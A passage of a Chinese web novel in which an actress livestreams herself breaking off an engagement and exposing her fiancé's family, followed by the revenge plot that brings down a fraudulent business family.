害怕他随时都会气得厥过去。 被人捧在高位太久,谁见到他不是低眉顺眼、跟鹌鹑似的战战兢兢。 哪怕沈家现在已经不敌从前了, 凭借着年龄和资历,圈子里的后辈见了他也都得尊称他一句老爷子。 只有乔缨, 第一次见面时, 就盯着他整容后遗症的鼻子打量,还问他“爷爷你是银角大王吗”,惹得在场的一众小孩哄闹起来。 特别缺德,特别没素质。 虽然是他先嘲笑乔缨是野种的,但抛开事实不谈, 她就没有一点错吗? 这么多年过去, 还真是一点长进都没有。 一直对银角大王耿耿于怀的沈万钧,往地面砸了两下拐杖, 哼道:“行,让她来退!我还不信她能翻出什么花来!” 沈颐刚火急火燎地赶回老宅, 就听到爷爷这句话, 顿时三两步蹿到了沈万钧面前,语气急切:“爷爷!但是如果解除婚约的话, 我的股份就……” 和口头协议不同,乔缨和沈颐订婚本就是利益往来, 是实打实的有合同证明, 黑纸白字写得清清楚楚。 “收回就收回,就当长个教训,”沈万钧吹胡子瞪眼, “你惹谁不好去惹这个疯女人,不成器的东西。” 那点股份沈万钧都没看在眼里,一年到头也就分了点零头,只有沈颐这种没见过世面的私生子才拿它当个宝舍不得撒手。 可沈颐却如临大敌。 他的钱全都被李辰星哄骗着去赌/博了,以前投资的项目想要回本也遥遥无期,他好不容易强撑到现在,就等着年终拿分红过活。 现在十二月过完了大半,眼见着都快见到希望曙光了,结果被乔缨打了个措手不及,此前的一切隐忍都成了徒劳。 沈颐有种拼夕夕砍一刀砍到最后死活还剩0.01的愤怒。 看样子,退婚这件事是没有转圜余地了。 沈颐了解沈万钧的个性,天大地大面子最大,否则他也不会一把年纪了,到现在还摆脱不了容貌焦虑,逃避抗拒着衰老。 为了沈家的颜面,他是决计不会让乔缨骑到沈家头上作威作福,如果自己现在提出要挽回乔缨,只会更加激怒沈万钧。 钱没了可以再要,不是,可以再找。 既然如此,木已成舟,他也不想输得太难看。 沈颐拨通了阮绵绵的电话,还声势浩大地叫来一堆圈内好友和媒体记者,企图给乔缨一个下马威。 沈万钧见状,也明白他的计划了,冷哼一声,让周管家通知沈家的所有旁系立即来老宅开会。 他这个孙子,虽然脑子不好使,但坏主意还真是眼睛轱辘一转就来- “鸿门宴啊。” 裴砚知看着手机上沈家放出的消息,微微皱了皱眉。 “别动,”乔缨掰正了他的脑袋,言之凿凿,“怕什么,打不赢我们就原地躺倒,还能讹他个万八千的。” 是这个问题吗? 裴砚知抬眸,乔缨微弱的呼吸喷洒在肌肤上,眼睫一颤一颤,神情格外认真。 他由下而上盯着乔缨的眼睛,问:“你确定沈家的人认不出来是我?” “我这乔装打扮的技术,狗仔见了都发愁,你还不相信吗?” 乔缨拿着蕾丝贴在他脸上比比划划,企图把他完美好看的双眼皮改成单眼皮。 没办法,裴砚知的长相太有辨识度了,要是带他出现在沈家,难免会出现什么乱子,被这群人拿来大做文章。 虽然两人现阶段只存在革命友谊,但在大众眼里,集团总裁和女明星搅在一起,总归是 不好听。 乔缨找准了角度,俯身靠近一点,将双眼皮贴贴在裴砚知的眼尾,捧着他的脸仔细端详。 很好,浓颜系的深轮廓配上劣质单眼皮,不伦不类,既像是没睡醒,又像是麦粒肿。 再加上裴砚知眉压眼的长相,总有种淡淡的死感。 伪中伪,大伪人。 乔缨“嘶”了一声,对照教程看了好几遍,挠头道:“咱换一只眼睛吧,感觉是风水的问题。” 裴砚知闭上眼睛,放弃挣扎,任由她在自己的脸上折腾。 “既然知道他们没安好心,你为什么不请几个保镖陪你去?” 乔缨动作顿了顿,幽怨地叹口气:“我也得有钱请啊,你当庄律的出场费很便宜吗?” 想要从乔家的手里撬走钱,可不是什么容易的事情。 像庄潇羽这样的顶级律师,没个几百万是请不来的。 要不是乔缨有着明星这一层光环,庄潇羽或许根本都不会接这个案子。 裴砚知想到乔缨以前种种抠门的事迹,不解地问:“乔俞诚说他爸给了你副卡,但你怎么过得这么抠搜?” “冷知识,副卡算借款,所以我从没用过。” 乔缨说着,一手拿着眉笔,一手捏起他的下巴,照着教程上的剑眉给他上妆。 第一次给别人化妆,手感很是冰凉,她将裴砚知的座椅转到镜子前,指着眉毛,试探问道:“这挺剑的吧,是有点剑的吧?” 裴砚知语气平静:“你说的是我这个人还是这个眉毛?” 睁开眼,他对着镜子照了两秒,头一次感觉自己好像撕漫男。 撕的是《蜡笔小新》。 隔着一层玻璃,两人无言对视半晌。 在他要死不活的眼神里,乔缨默默拿出卸妆水,嘴角比AK还难压。 “对不起,卸了吧。” 半小时后,两个戴着墨镜的人影出现在了沈家老宅里外。 乔缨摘下墨镜,动作潇洒地别到头发上,手里举着GoPro,将镜头对准自己和沈家别墅的大门,以及门内神色各异的人脸。 别墅的佣人打开雕花大门,人群自动分成两排。 面对着众多的媒体镜头,周管家很明显是紧急捯饬了一番。 他手上挂着一条白色毛巾,脸上戴着单边眼镜,面容阴沉地出现在门口。 他微微俯身,还是惯常的阴阳怪气的腔调,冷冷道:“乔小姐不请自来,还真是好家教。” “哦哦,不收徒。” 乔缨敷衍地点点头,把手里的包往周管家手臂上一挎,他整个身子猛然向下一沉,差点栽到花坛里去。 这里面是装的秤砣吗? 周管家错愕地瞪大双眼,一个趔趄把包扔给一旁的男佣,拍拍手上的灰,佯装无事地给继续给两人引路。 院内乌泱泱一片的人,认识的不认识的,纷纷侧目而视望着乔缨和裴砚知。 可人群焦点中的两人却对此视若无睹,像是在走秀似的,气定神闲地穿过了庭院。 裴砚知挑眉看着装修,忍不住挑剔吐槽:“中式、法式、尼泊尔,一个别墅八个风格,品味真差。” 乔缨则是对着镜头笑着招招手,掐着嗓子,说出了今天的开场白:“Hello宝贝们,欢迎观看精致女孩退婚的一天哦。” 直播间的人起了一身的鸡皮疙瘩。 【精致女孩坐高铁来的吧?】 【救命,乔缨错过一个梗会怎样?】 【我好怕她下一秒就掏出来酒精湿巾和便携式打印机。】 【这干巴老头手上为什么搭了条汗巾啊,沈家这么奢侈,还有专门负责搓澡的佣人么?】 【旁边是谁在说话呀?保镖吗?声音挺好听的。】 【难怪沈颐总是晒自己有八套别墅,原来是分开拍的哈哈哈哈哈。】 走进大厅,引入眼帘的就是蓝天白云顶和海底世界砖,奢华的家具毫无章法地堆叠在空间里,整个空间五花缭乱,显得无比拥挤。 眼睛好累。 裴砚知扯了扯嘴角,眼里既带着困惑,又带着荒诞,无情嘲讽:“丑得好有生命力。这个装修风格的底层逻辑是什么,价值转化在哪里,用户画像又是谁?” 乔缨也迷惑地摇摇头,无论来多少次她都习惯不了沈家老宅这独树一帜的风格 她思索片刻,恍然道:“别看这房子现在这样,当年可是个大工程,据说有十几个装修公司竞标,僵持不下。后来不知道哪个蠢蛋一拍脑袋,决定谁抢到哪个房间就谁装修,然后就装成这样了。” 沈颐:…… 他就是那个蠢蛋。 沈万钧见两人一直围着客厅的红木大炕打转,不得不声音响亮地咳了一声。 他端着一副反派boss的样子,身体隐在阴影里,一手拄着拐杖,神色晦暗不明。 自以为在演《教父》,自以为像马龙白兰度。 沈万钧静静立在乔缨身后,以一种阴冷狠戾的声音,幽幽提醒道:“这叫后现代混搭风格,没见识的野丫头。” 乔缨正在研究着背景墙上掉漆的金色浮雕,忽然感觉身后吹来一阵阴冷的风,她诧异地回头看去,却一个人也没看见。 “人呢?” 她疑惑地挑挑眉,一只手放在眼睛前方作张望状,环顾了一圈,嘀嘀咕咕地说:“奇了怪了,我明明听到有人说话啊?” 沈万钧站在原地沉默了半晌,差点两眼一黑背过气去。 死丫头你倒是往下看一看啊!瞧不起我们缩水缩到一米五的是吧! 他不顾周管家的阻拦,贴在乔缨的身前,悲愤交加地向上使劲跳了跳,咬牙切齿地大喊一声: “你昂着头看什么看啊?天花板有人啊?!我在这儿!我在这儿!” 直到这时,乔缨才发现阴影里的人。 直播间的视角跟随着乔缨的视线缓缓向下。 随之而来的,便是乔缨中气十足中又带着一丝惊慌的抽气声。 “嚯!您跪着干什么,我不就是要退婚吗,何至于行这么大的礼?您赶紧站起来啊!” 【哈哈哈哈哈哈哈哈哈笑死我了,干巴老头之后又出来个地精老头。】 【乔缨补药虐待老人!】 【一米七的视角原来是这样吗?我有一个朋友破防了。】 【我还以为是家具开口说话了呢,沈爷爷咋长得跟个小手办一样。】 有人慧眼如炬,发出一句振聋发聩的诘问:“家人们,我是不是看错了,沈颐的爷爷……好像银角大王啊!” 第45章 第四十五章 别摸他了,脏 房间里传来一声意味不明的声响。 乔缨转头看去, 发现声音是阮绵绵发出来的,神情暧昧而陶醉。 而沈颐和她面对面坐在桌前,一只手焊在脸上, 比划了一个“L”,另一只手则叉起了一小块蛋糕, 姿态亲昵地往她嘴里喂去。 可这是个十三人的大餐桌。 还是带转盘的那种。 沈颐手短,阮绵绵的嘴都快伸出二里地了, 才好悬接上他手里的蛋糕, 看得乔缨一阵感慨。 越努力,越心酸。 谁说霸王龙不能情侣约会。 两人像是要故意做给乔缨看似的,表情丰富动作浮夸,仿佛是在演什么舞台剧。 只见阮绵绵眼含羞赧地吃下一口蛋糕,闭上眼睛陶醉半晌, 用上颚共鸣的声音评价道: “它主要的味道是一个淡奶香和奶香, 一般的甜品只会停留在你的舌苔上,但是它会弥漫到你的上颚、鼻腔、口腔、机关枪, 谢谢沈颐哥哥,你太棒了, 做得真好吃。” 乔缨看着那坨焦黑的不明物体, 忍不住咋舌:“妈呀,全世界比何老师还会捧场的人, 出现了。” 她仍然忘不掉,沈颐多年前用一碗炒豆角, 在大年三十的晚上, 把他爷爷送进了医院急诊科的英勇事迹。 这是他离篡位成功最近的时刻。 感谢作者,把她设定成被男主厌恶的恶毒女配,要不然像阮绵绵这么吃下去, 她迟早有一天得食物中毒而亡。 坏心办好事了属于是。 可癫子理解不了正常人的世界,乔缨的暗自庆幸和嘲笑看在沈颐眼里, 却变了一层味道。 他换了只手比“L”,抱臂挡脸,冷哼一声:“呵,乔缨,我看你就是嫉妒吧?” 没等她回答,沈颐便潇洒离开餐桌,几步蹦到乔缨面前,将乔缨抵在墙上,别开头,眯起眼睛,神情嘲弄,十分入戏。 “别白费功夫了,你不就是欲擒故纵想引起我的注意吗?我告诉你,你永远都比不上绵绵的单纯和善良,我沈颐这辈子都不会爱上你的,我宣布,要和你取消婚约!” 他向安排好的群众演员们递上一个眼神,围观的人群立即响起窃窃私语,矜矜业业地开始背起台词。 “反转了,原来乔缨才是被甩的那个,是我们错怪沈颐了!” “天呐,她可真是个心机女,明明被退婚的是她,她居然趁机倒打一耙,真可怕。” 沈颐摸摸下巴,歪嘴邪笑。 先发制人,抢占舆论阵地,是他的一贯做法。 这一招用了这么多年,即便是黑的也能说成白的。 请来的演员还在继续念着台词,沈颐那些狐朋狗友们也加入阵营,开始奚落起乔缨来。 “也是,她和乔家都解除收养关系了,沈家怎么可能看上一个无父无母的孤儿。” “豪门联姻都讲究嫡亲,乔缨一个养女,我看连他们沈家的大门都进不了吧?当年一定是用了什么不入流的手段才和颐哥订婚的。” “颐哥喜欢的一直只有阮绵绵,我们都看在眼里,反倒是乔缨,这么多年一直纠缠不清,没皮没脸,攀附权贵。” 很好。 沈颐满意地顶顶腮帮子,顺着话茬接道: “听到了吗?像你这种恶毒的女人,就该众叛亲离不得善终,乔家有今天都是报应,我是不会和你在一起的,除非你去死,就算你跪下磕头我都———” 他一边说,一边缓慢转头,感觉身侧的人影有些不对劲。 乔缨今天的身高,好像比以往高了一些。 沈颐抬头,对上了一张男人的脸,还没等他反应过来,忽然感觉头顶一凉,一大滩冰冷的液体顺着他的发丝滴落了下来。 乔缨站在他身后,手里拿着一个硕大的空杯,戏谑道:“梦话说完了吗?个死癞蛤蟆戏还挺多。” 那水冷得刺骨,不想被水溅到的裴砚知一脚将他踢开,沈颐像条死狗一样飞了出去,手还焊在脸上,表情错愕。 裴砚知理了理衣服上的褶皱,淡漠平静到仿佛刚刚只是掸走了一粒灰尘。 他从容地从沈颐身上跨过,直到走到乔缨身后才状若无意地往地上扫了一眼,勾唇嘲笑。 “谁拉这儿了?” 仰躺在地上的沈颐缓缓阖上眼睛。 不知道是睡着了还是归西了。 如果没看错的话,那杯冰水,原本是准备给乔缨的。 而他为了泄愤,往里面加了脱发剂。 致死量。 见沈颐倒地不起,阮绵绵焦急地上前抱住他的头,却不小心薅下来一把头发。 她没注意到手心的异样,心疼到眼含泪花,抽抽噎噎: “大家不过就是说了几句玩笑话,你何必这样?我知道你们女孩子都喜欢做一些出格的事情来哗众取宠,但你看看沈颐哥哥,都被你———咦,哥哥的头顶怎么秃了一块?” 职业病使然,裴砚知迅速捕捉到了关键词,恍然垂眸,向乔缨求证:“原来……所以她是有性别认知障碍吗?” “我记得阮小姐和沈颐前阵子去的,是隔壁小日子,不是泰兰德啊?” 乔缨挑眉,佯装思忖,做作地敲敲脑袋。 “好叭,可能素我有点笨笨嘟,把地点记错了,她现在已经是两个孩子的爸爸了吧?恭喜绵绵。” 裴砚知看向地面上的那两只苦命鸳鸯,再度恍然:“原来是核废水……你俩干脆在头上套个罩子吧,千万别泄露了。” 两人一唱一和,说得一本正经,却比任何脏话都要来得阴阳怪气。 【啊啊啊啊啊这是什么魔法攻击,我脚趾扣地了!】 【有人说吗?沈颐的头顶真的秃了一块啊喂,水里是不是加了什么?】 【他别是想让乔缨喝下去,结果搬起石头砸自己的脚了吧?人怎么能蠢成这样?】 乔缨翻转镜头,一一扫过刚才说话的人,挨个爆料。 “你,背后有四个大姐,靠物理舔/脚舔到了电影大男主,结果东窗事发被导演退货了,就在上周。” “什———乔缨你别乱说!” “别打岔!你,利用业内关系拉皮条,还教唆员工偷税漏税。” “还有你,没戏演了缺钱去线下举A4纸闹事,结账一看只有三十,气得在家跺脚,现在还在和上头扯皮。” “哦,对了,还有你,”乔缨指着最后说话那人,“你说沈颐喜欢的一直是阮绵绵对吧?你能为这句话担保吗?” 那人胸膛一挺,嘴硬道:“能……能!怎么不能!” 乔缨弯唇一笑:“好,那你的好兄弟沈颐就坐实了脚踏三条船,违反订婚协议的合同条款,应付违约金,1.26亿。” 此语一出,弹幕震惊了。 【夺少?你说夺少?】 【这辈子没见过这么多钱,来个渣男和我订婚,我现在强得可怕!】 【啊啊啊啊谁懂啊,听到这么多钱,刚刚吃瓜的笑容顿时凝固起来了!】 【乔缨,歇歇吧,别赚了,我害怕。】 沈颐一个激灵从地上爬起来,连沈万钧都忍不住上前几步抓住她的衣角,急切地问:“等等,什么违约金?” 一个响指,裴砚知任劳任怨地从包里拿出消毒湿巾在沙发和茶几上仔仔细细擦了一遍。 乔缨扶着他的胳膊坐下,拿出便携式打印机,把当年订婚合同的违约条款打印了几份。 “当初呢,我也是看在沈家资金链有困难,念在青梅竹马的情分上,才答应订这个婚,给你们沈氏集团投资五千万的。” 乔缨一扬手,厚厚一沓纸砸在沈家爷孙的脸上,语气轻佻:“我确实是用了些手段才和沈颐订婚,但我也是为了赚钱,像他这种蠢货,我可看不上。” 事到如今,脱离剧情控制的她,绝对不可能承认自己曾经痴恋过这样一个愚蠢又卑劣的男人。 恶毒女配也是要面子的。 而一旁的沈颐捏着纸页,冷汗连连。 他怎么一点都不记得有这一条了? 当初签约的时候沈家要钱要得急,沈颐也是在乔缨面前作威作福惯了,一时大意,没想到被挖了这么大个坑。 “不可能,你在骗人。” 沈颐手指哆哆嗦嗦地指着条款,颤声问道:“你有什么证据能证明我擅自毁约,对感情不忠?” “刚刚这位朋友愿意给你作证,而且,我这里还有温小姐友情提供的资料。” 乔缨打开录音笔,用看白痴一样的眼神看着沈颐。 全场屏息,她调大音量,沈颐的声音清清楚楚地传到每个人的耳朵里。 “烟婷,我向你保证,我真的不喜欢乔缨,我们之间的婚约不作数,你要相信我,我……我愿意发誓……什么?写一份声明?还要盖章?可以!当然可以,只要你别赶我走,让我做什么都可以!” 那语气已经不能用卑微来形容了,在场的人甚至能隔空想象出他谄媚讨好的样子。 万般寂静下,沈万钧倒是松了一口气,嗤笑一声:“情侣关系的声明可不具备法律效力,乔小姐可别是搞错了。” “别急嘛。” 乔缨又慢悠悠地打印了几份资料,动作格外气定神闲,看得众人越发心焦。 “温小姐给我的,是赠与协议。” 众人面面相觑,拿起资料定睛一看,正文开头第一句就是“甲乙双方系恋爱关系”,无可辩驳,尘埃落定。 然而再继续往下翻,他们又顿时不淡定了起来。 长长几页纸,好似永远翻不到尽头,全是温烟婷在恋爱期间赠送给沈颐的财物! 短短几个月的时间,温烟婷花在他身上的钱总额已经超过一千万,除了 常规的豪车豪宅奢侈品,连营养师和各类训练班、演技提升班都是她一手安排的。 “温烟婷说赠与协议是你自己吵着要签的,生怕分手后她找你要回去,没想到有今天吧?” 乔缨还是那副看傻子的表情,慢悠悠道:“合同上写了,在履约期间双方要保持单身,白纸黑字,你还想抵赖不成?” 有人看热闹不嫌事大,起哄道:“此言差矣,人家沈颐就不能短暂高频间歇性单身吗?” 弹幕听得乐了。 【什么狄利克雷函数。】 【我震惊的是,就沈颐那猪油般的演技,居然还是报班学了表演之后的成果吗?】 【赘出强大赘出爱,我愿称沈颐为赘强大脑!】 被叫来沈家老宅的其他人也回过神来,意识到合同是乔缨和沈氏集团签的,如果要赔款,可不是沈颐一个人的事。 无缘无故损失这么大一笔钱,他们心里比沈颐都着急。 沈万钧气得直喘气,几个位高权重的长辈上来就抽了沈颐几巴掌,给乔缨赔着笑脸,劝她消消气。 一家子大爹,到了乔缨面前,就跟孙子一样。 也正是同一批人,一边理所应当享受着乔缨的付出,一边对她冷嘲热讽。 乔缨无视了几双伸到她眼前的手,径直走到半跪着的沈颐面前,轻蔑地拍拍他的脸。 “沈颐,你有一句话没说错,乔家有今天都是报应,现在这个报应,轮到你们了。” 她捏起沈颐的下巴,强迫他和自己对视,笑得十分愉悦。 “哪怕你跪下给我磕头,哪怕你想死了重开,都得把钱给我吐出来了再投胎。” 触发到违禁词,直播间被官方紧急掐断。 观众最后看到的画面,是一双骨节分明的大手突兀地出现在镜头中,拿着湿巾,替乔缨一寸一寸擦拭着手指。 强势,有条不紊,侵略感极强。 最后的最后,画面断开的前一秒,是男人散漫中略带轻佻的嗓音。 “别摸他了,脏。” 第46章 第四十六章 他害怕看见父亲深邃的眼…… 乔缨松开手正要转身走人, 一直沉默不语的沈颐忽然眼神一亮,仿佛溺水的人急切地抓住了稻草一样,垂死挣扎。 他两眼猩红地说:“如果你非要一笔一笔算清楚, 那这些年我送你的礼物是不是也该还回来?” 乔缨嫌弃地一捏鼻子,觑眼看着他:“哦呦, 就你那些破烂,我还不稀得要呢。” “呵, 当初收的时候你可不是这副嘴脸。” “化妆品、项链、戒指、包包, 你哪样没拿?” 沈颐掰起指头,一件一件数了起来,这么多年过去,送出去的东西他仍旧记得一清二楚。 连台词都记不住的大脑,只有在这种时候才会高速运转。 早想到他会来这么一出, 乔缨忍俊不禁地笑了笑, 故意拉高的语调显得尤为阴阳怪气。 “你指的是……能像花一样展开的阿尼玛套盒、价值26块钱的八心八箭大钻石、chaumet的远房亲戚chaomei的戒指以及……爱马壮的包吗?” 一片嘘声中,沈颐挂不住面子, 梗着脖子狡辩:“盗、盗版怎么了?那也是我花钱买的,你别想转移话题抵赖。” “跟谁稀罕似的。” 乔缨翻了个白眼, 漫不经心道:“你这十几年里送我的破烂价格总计3967元, 我呢,给你个友情价, 四舍五入到四千,全都装在包里给周管家了。” 被点到名字的周管家虎躯一震, 不由得看向角落里那个仿佛装了秤砣的包。 乔缨戴上墨镜, 牵着裴砚知的手起身,笑容灿烂。 “4000枚硬币,你们就慢慢数吧。” — 数公里外, 拘留所的探视间。 乔俞诚穿着囚服坐在桌前,眼神晦暗。 从事情发生到现在,证监会迅速立案,对盛合集团展开了调查。 他们发现乔盛合在担任集团董事长兼任总裁的期间,不仅组织财务部门编制虚假财务报告,还欺诈发行公司债券,情节恶劣。 而盛合的投资者们则是将矛头对准了出具审计报告的事务所,其中以持股最多、损失最为惨重的王继盛为代表,连带着各大银行纷纷解约起诉,气得不行。 幸好在这个关键时期,乔盛合本人仍在昏迷状态中,很多证据无法直接获得,也给了乔俞诚喘息的机会。 审讯时,他一再强调自己对财务造假一事并不知情,将所有责任推到他爹头上,说自己是受了蒙骗,撇清关系。 只要乔盛合不醒,一切都有转机。 “爸,你防我防了一辈子,也算是做了件好事。” 乔俞诚摸摸脸上的疤痕,叹了口气。 对他而言,乔盛合无疑是个严厉的父亲。 他极少和颜悦色,在商场上叱咤风云,在家中说一不二,性格威严,阴晴不定,时常让乔俞诚感觉到伴君如伴虎。 记得叛逆期的时候,他和圈里的那些公子哥出去鬼混惹出了事,被乔盛合发现后差点揍了个半死。 那天是大雪,寒风料峭,乔盛合罚他在后院花园里跪了一下午,直到他跪得两眼发黑时才大发慈悲,让管家把他叫回家里吃饭。 餐桌上,他一边默默流泪一边将饭塞进嘴里,为了展示骨气,桌上的菜他碰都没碰,硬是一碗白米饭和着眼泪吃完了,筷子一甩,躲进了房间里委屈。 后来他哭得累了,大半夜口渴出来喝水,经过爸妈房间时,突然听到两人好像在吵架。 他偷偷摸摸地趴在门缝上看,就看到乔盛合突然甩了李娆一巴掌,质问她:“你为什么不给儿子夹肉?你为什么不给儿子夹肉?” 那一刻,他对沉默的父爱有了深深的理解。 俗话说得好,男人这辈子最渴望的荣誉,不是扬名立万,而是父亲的认可。 公司效益最差的那几年,他甚至没有勇气和父亲坐在一起喝一杯酒,接过父亲手里的一根烟。 他害怕看见父亲深邃的眼,承受不住父亲身上这份沉重的担子。 然而在分公司做了几年毫无起色后,不知哪一天,他突然就醒悟了。 自打他展露出接管公司的意愿后,乔盛合就一直不肯放权,反倒把他派去分公司收拾烂摊子,美其名曰历练自己。 不是自己不行,而是乔盛合在防着自己篡位。 就像古代的皇帝一样,手握权柄,总会害怕失去的那一天,哪怕对方是自己的亲儿子。 回忆被走廊上的脚步声打断,有人敲敲房门,走了进来。 律师提着公文包,表情严肃地坐在他对面,推了推眼镜。 乔俞诚神情激动地向前伸了伸脖子,急切问道:“怎么样了,我可以被保释出狱吗?” “恐怕……暂时不能。” 律师摇摇头,一五一十地回答:“虽然最关键的几份文件上没有你的签名,但证据链明确表明你参与到了这起案件里,就算你不松口,其他人也会拖你下水。” 事实上,胆小怕事的沈弘宇在第一时间就已经全都交代了个干净,想以此减轻刑罚。 “案件还在调查当中,等乔盛合先生苏醒之后,或许会移送到检察院和法院。” 律师翻翻文件,缓下声音安抚乔俞诚。 “不过您不需要太担心,按照以往的经验来看,作为从犯大概会给予缴纳罚款,以及公开认定终身不得担任债券发行人董事、监事、高级管理人员的处分。” “缴纳罚款?” 乔俞诚若有所思,心里一阵庆幸。 幸好他在出事之前,早已让邱凌将盛合的资金,以及他个人资产变卖,转移到了国外,如今就算要罚,在明面上他可一分钱都没有。 等自己出了监狱,依旧能荣华富贵地过完下半辈子。 听完律师的陈述,乔俞诚顿时放宽了心,连带着姿势都松懈下来。 他向后一瘫,翘着二郎腿问:“我没钱,盛合也没钱,能以债务无法偿还为理由申请破产吗?” “当然可以,这是合 法的行为,但———” 律师欲言又止,悲悯地看着他,无奈摇了摇头。 经常和这些黑心企业家打交道,转移资产的事情他见得多了,也知道乔俞诚在打什么主意。 但乔俞诚不知道的是,帮他转移资产的那位助理早已经人间蒸发,没了踪迹。 从现状来看,这位助理不仅假借着乔俞诚的名义卷走了盛合全部的资金,还十分贴心地在乔俞诚的名下留下了一笔巨款。 一笔恰好能缴纳罚金,以及偿还乔缨债务的巨款。 也就是说,乔俞诚的处心积虑,全给这位其貌不扬的助理做了嫁衣。 律师叹口气:“邱凌是你的助理吧?” 乔俞诚吊儿郎当地点点头,不以为意。 “那你知道她卷款跑路,已经逃到国外了吗?” “什么?不可能。” 乔俞诚摆摆手,第一反应便是否认。 像邱凌这样老实木讷的人,怎么可能有脑子做出这种事。 这律师别是和警察串通好来诈他的吧? 见他满眼的不信任,律师无可奈何地告知了他事实,并拿出了一张老旧的户口本复印件。 他指着出生地址那一栏,语气逐渐严肃起来,询问道:“你知道邱凌的原籍,和你妹妹死亡的地点,只隔了一条河吗?” 一提到他失踪的妹妹,乔俞诚的神色忽然一僵,旋即惊愕地拿起复印件,瞪大眼睛,不可置信地翻来覆去看了好几遍。 宁坪乡……宁坪乡…… 恍然间好像有什么东西串起来了一样。 “你从哪里拿到的?” 他手指颤抖着,仍旧不敢相信:“我明明让人做过调查,她不是父母双亡的孤儿吗?” “这是她今天寄到律所的快递,上面写着让我带给你。” 律师又拿出两份泛黄的报纸,发行时间间隔了几年。 一份在头条报道了乔家失踪的小女儿被找到,葬身悬崖,父母悲痛。 一份在犄角旮旯里刊登了宁坪乡房屋失火,两名成人被烧死,孩子不知所终。 再然后,便是一张让人后背发凉的照片。 那是邱凌在精神病院照料李娆时拍的照片。 背景里的李娆抱着一本破破烂烂的日记,嘴里好像在念叨着什么,神情疯魔,形容枯槁。 而邱凌则是面对着镜头,抚摸着额角上的疤痕,嘴角高高扬起,连眼尾的弧度都能让人感受到,她此刻的心情有多么愉悦。 乔俞诚看得呆了。 在他眼里,邱凌的表情永远都是讷讷的,低眉顺眼,这是他第一次见到邱凌笑。 和自己一模一样。 怔忡过后,便是遍体生寒的冷意,照片中邱凌的眼神像一条阴冷的毒蛇,牢牢黏在乔俞诚的身上。 他一拍桌子,忽然蹦了起来,焦急地想往外走,被门外的警察拦了下来。 乔俞诚烦躁不安地揉揉头发,沉声道:“糟了,医院的护工,也是邱凌请的!” — 与此同时,医院的icu病房。 护工看着乔盛合沟壑纵横的脸,神情冷淡。 “乔盛合,你可能不记得我是谁了,但我记得你。” “我父母买了你的烂尾楼,一辈子的积蓄都打了水漂。” “他们跳楼自杀的那年,我才十二岁,找你索要赔偿,你骂我贱种,你儿子骂我活该,说我穷疯了想讹钱,还找人在我爸妈的灵堂上闹事,让他们连走都走不安宁。” 护工用手指轻轻摩挲着氧气管,叹了口气:“没有想到吧,有朝一日,你的命也会捏在我手里。” 她笑了笑,松开了手,继续替他擦拭着身体。 “放心,你这样的人,还不值得让我赔上一条命,不过听医生说,你可能撑不过明天了,我真的很高兴。” 乔盛合的手指动了动。 “你不知道吧,盛合财务造假被查,你儿子也被关进了监狱,你这辈子的基业算是毁得彻底,这难道不是报应吗?” “现在,我们一样低贱了,我很高兴能送你最后一程,看着你布满褥疮的身体,真是比蛆虫还恶心。” 乔盛合的眼球极速颤动,眼皮掀开一条小缝。 “邱凌姐说得没错,感受着你的生命从我手缝中一点一点流逝,身体一点一点变得冰冷僵硬,比报仇更加大快人心。” 护工温柔地阖上他的眼睛,替他掖了掖被角,附在他耳边,轻言细语。 “哦对了,忘了和你说,邱凌就是你女儿啦,她没死,还带着你全部的钱出国了,走之前呢,她让我给你带句话,她说———” “她从地狱里爬回来了。” “现在轮到你去死了,畜生。” 护工起身离开,哼着歌,转动门把手。 心电监护仪发出绵长而尖锐的鸣叫声。 第47章 第四十七章 蠢货,我是基督山伯爵…… 乔盛合死了。 得知这个消息时, 邱凌正躺在太平洋的某个小岛上晒着太阳。 说来也是奇怪,明明精心谋划了这么久,她现在却没有任何感觉, 像是小说大结局后大仇得报看淡一切的盲人一样。 哦,因为她现在戴着墨镜吧。 一轮硕大的残阳垂在海面上, 海风呼呼地往耳朵里灌。 视野内,海面广袤而辽阔, 四周静得只有海浪翻涌的声音。 潮湿, 炎热,困顿。 她取下墨镜,懒散地抬起眼皮,身边立即伸来一只手臂,递给她一杯酒。 两个金发碧眼的壮硕帅哥一左一右靠在她身侧, 一个手里举着果盘, 一个手里端着酒杯,上半身都未着寸缕。 他们不知道这个女人的身份, 只知道她很有钱,非常有钱, 且性格沉闷, 十分神秘。 邱凌就着吸管喝了一口,拿起随手放在腿上的书继续翻阅, 任由两人僵在一旁,全程没说一句话。 为了缓解气氛, 安德鲁操着一口蹩脚的中文讨好, 温声问道:“小姐,您在看什么书呢?” “家庭、私有制和……” 邱凌说到一半,又觉得高估了这些金发蠢货的智商, 于是换了个敷衍的回答:“恩格斯。” “嘿,我知道他!” 一旁的肯特不满安德鲁先他一步开口,急忙抢过话头,天真烂漫地扬起了笑,露出八颗牙齿,自信接话。 “恩格斯!他是苏联人吧?” 邱凌:“?” 她从书本中惊讶地抬起头,近在咫尺的距离,她对上了一张标准蠢蛋的帅脸,忽然就明白了那些老男人的心理。 看着美丽的人装傻充愣,费尽心机讨好,因为自己的一个眼神而战战兢兢,确实能满足某种隐秘而变态的癖好。 被取悦到的邱凌勾勾唇角,叼起他指尖的樱桃,散漫地说:“不是,他老家河南驻马店的。” 湿润的空气拂过,眼角的伤疤微微泛着痒意,她不自觉地伸手摸了摸。 摘下了眼镜,那层万年不变的厚重刘海也已经被她剪去,露出了额头原本的模样。 光洁白皙的皮肤被丑陋的疤痕割裂开,像是一块摔碎的璞玉,或者白墙上的蛛网。 分支、缠绕,一直延伸到眼角。 平和素净的一张脸,因为疤痕的存在,看起来莫名有几分瘆人。 这位神秘富豪,必定有着什么不可告人的秘密,说不定手上还沾有几条人命。 安德鲁暗自作出判断,更加卖力地讨好了起来。 邱凌是他自绅士培训班毕业以来,傍上的第一个富婆。 回忆起教导的内容,他知道这种女人不会轻易打开心防,且常年过着压抑孤独的生活,所以更偏向于风趣幽默又不失体贴的男性,期待有人能打开心结,走进她的内心。 很明显,眼前这个女人的心结,就是这块疤。 戳人痛处,再予以理解。 此招虽险,胜算却大。 秉持着搏一搏单车变摩托的精神,安德鲁指了指她的疤痕,打趣道:“哈利波特?伏地魔袭击了你的家人吗?” 邱凌斜睨他一眼,对他的小心思看破不说破,远眺着逐渐下沉的夕阳,回以沉默。 波 光粼粼的水面反射着刺眼的光线,割裂成的金色小块投影在视网膜上。 邱凌不适应地闭了闭眼睛,沉淀着金粉的蓝色在眼睑内流动,在酒精的作用下一阵晕眩,让她有些想吐。 “蠢货,我是基督山伯爵。” — 邱凌很讨厌冬天。 